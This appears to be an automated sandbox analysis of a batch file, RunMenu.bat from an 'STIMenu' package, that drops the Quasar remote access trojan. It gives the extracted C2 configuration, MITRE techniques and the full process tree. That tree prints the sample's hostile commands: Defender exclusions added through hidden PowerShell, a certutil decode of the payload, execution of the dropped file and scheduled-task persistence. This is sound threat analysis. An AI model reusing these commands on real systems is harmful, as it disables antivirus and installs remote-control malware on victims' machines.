Analysis

  • max time kernel
    142s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13/08/2024, 19:09

General

  • Target
    STIMenu/Main/Extra/RunMenu.bat
  • Size 2KB
  • Sample240813-xt4dsswbnk
  • SHA256 4354441c02f160e9442b272c2a7f8c113201754d8287dc7e2419a5fc22fe954b
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • quasar

Version
  • 1.4.1

Botnet
  • Desktop

C2
  • minecraftdayzserver.ddns.net:2400

Mutex
  • 75424b76-6e02-429f-933a-8f0c46b80ea3

Attributes
  • encryption_key

    BAB780866E59DF462CB03FA8A8ABD639E9524897

  • install_name

    WinRar.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    WinRar.exe

  • subdirectory

    temp

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 2 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 2 IoCs
  • Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

    Payload decoded via CertUtil.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Delays execution with timeout.exe 11 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 9 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 48 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\STIMenu\Main\Extra\RunMenu.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2988
    • C:\Windows\system32\cacls.exe
      "C:\Windows\system32\cacls.exe" "C:\Windows\system32\config\system"
      2⤵
        PID:4844
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $ENV:USERPROFILE\AppData\Roaming\Temp
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4956
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $ENV:USERPROFILE\Temp\fwky1wyq1u.exe
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4464
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $ENV:USERPROFILE\Appdata\Local\Temp
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1404
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $ENV:USERPROFILE\Downloads
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1804
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $ENV:USERPROFILE\Desktop
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1512
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $ENV:USERPROFILE\Temp
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2316
      • C:\Windows\system32\timeout.exe
        timeout 1
        2⤵
        • Delays execution with timeout.exe
        PID:4572
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle hidden -executionpolicy bypass -File .\Updater.ps1
        2⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1092
      • C:\Windows\system32\timeout.exe
        timeout 1
        2⤵
        • Delays execution with timeout.exe
        PID:5016
      • C:\Windows\system32\timeout.exe
        timeout 2
        2⤵
        • Delays execution with timeout.exe
        PID:3708
      • C:\Windows\system32\timeout.exe
        timeout 2
        2⤵
        • Delays execution with timeout.exe
        PID:3148
      • C:\Windows\system32\timeout.exe
        timeout 2
        2⤵
        • Delays execution with timeout.exe
        PID:1476
      • C:\Windows\system32\timeout.exe
        timeout 2
        2⤵
        • Delays execution with timeout.exe
        PID:2180
      • C:\Windows\system32\timeout.exe
        timeout 2
        2⤵
        • Delays execution with timeout.exe
        PID:4956
      • C:\Windows\system32\timeout.exe
        timeout 2
        2⤵
        • Delays execution with timeout.exe
        PID:436
      • C:\Windows\system32\timeout.exe
        timeout 2
        2⤵
        • Delays execution with timeout.exe
        PID:1596
      • C:\Windows\system32\timeout.exe
        timeout 2
        2⤵
        • Delays execution with timeout.exe
        PID:1608
      • C:\Windows\system32\timeout.exe
        timeout 1
        2⤵
        • Delays execution with timeout.exe
        PID:4416
      • C:\Windows\system32\certutil.exe
        certutil -decode C:\Users\Admin\AppData\Local\Temp\fwky1wyq1u.txt C:\Users\Admin\AppData\Local\Temp\fwky1wyq1u.exe
        2⤵
        • Deobfuscate/Decode Files or Information
        PID:4140
      • C:\Users\Admin\AppData\Local\Temp\fwky1wyq1u.exe
        C:\Users\Admin\AppData\Local\Temp\fwky1wyq1u.exe
        2⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4348
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "WinRar.exe" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\temp\WinRar.exe" /rl HIGHEST /f
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4040
        • C:\Users\Admin\AppData\Roaming\temp\WinRar.exe
          "C:\Users\Admin\AppData\Roaming\temp\WinRar.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:5016
          • C:\Windows\SYSTEM32\schtasks.exe
            "schtasks" /create /tn "WinRar.exe" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\temp\WinRar.exe" /rl HIGHEST /f
            4⤵
            • Scheduled Task/Job: Scheduled Task
            PID:3708

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 2KB
          • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 64B
          • SHA256 d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 64B
          • SHA256 a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf
          • MD5 SHA1 SHA512

          STILauncher.bat

          • Path C:\Users\Admin\AppData\Local\Temp\STIMenu\Main\Extra\STILauncher.bat
          • Size 4.3MB
          • SHA256 266e5bf832ba811ff6d300a9dbcf34808588a09b43277b9fb7c80b7c67d6d411
          • MD5 SHA1 SHA512 SSDEEP

          __PSScriptPolicyTest_0icgbbgw.yna.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0icgbbgw.yna.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          fwky1wyq1u.exe

          • Path C:\Users\Admin\AppData\Local\Temp\fwky1wyq1u.exe
          • Size 3.1MB
          • SHA256 5caf0e2b0689aa607e8c3af5a144474ff5c24d040acdd3a00d41f9172441d9e1
          • MD5 SHA1 SHA512 SSDEEP

          fwky1wyq1u.txt

          • Path C:\Users\Admin\AppData\Local\Temp\fwky1wyq1u.txt
          • Size 4.2MB
          • SHA256 11c0d0ce948b03b6d3eef0321977220aaee51f012ba79fd2d65795c97e60fd3e
          • MD5 SHA1 SHA512 SSDEEP

          fwky1wyq1u.txt

          • Path C:\Users\Admin\AppData\Local\Temp\fwky1wyq1u.txt
          • Size 142KB
          • SHA256 1a5de53ac7bb3a2fa2527ef4303f9dc2e013ca83da050481f2f9885f4b7be0cf
          • MD5 SHA1 SHA512 SSDEEP

          memory/4348-5538-0x0000000000920000-0x0000000000C44000-memory.dmp

          memory/4464-29-0x00007FF999280000-0x00007FF999D41000-memory.dmp

          memory/4464-31-0x00007FF999280000-0x00007FF999D41000-memory.dmp

          memory/4464-28-0x00007FF999280000-0x00007FF999D41000-memory.dmp

          memory/4464-17-0x00007FF999280000-0x00007FF999D41000-memory.dmp

          memory/4956-0-0x00007FF999283000-0x00007FF999285000-memory.dmp

          memory/4956-15-0x00007FF999280000-0x00007FF999D41000-memory.dmp

          memory/4956-12-0x00007FF999280000-0x00007FF999D41000-memory.dmp

          memory/4956-11-0x00007FF999280000-0x00007FF999D41000-memory.dmp

          memory/4956-6-0x0000016363D20000-0x0000016363D42000-memory.dmp

          memory/5016-5545-0x000000001C5A0000-0x000000001C5F0000-memory.dmp

          memory/5016-5546-0x000000001C6B0000-0x000000001C762000-memory.dmp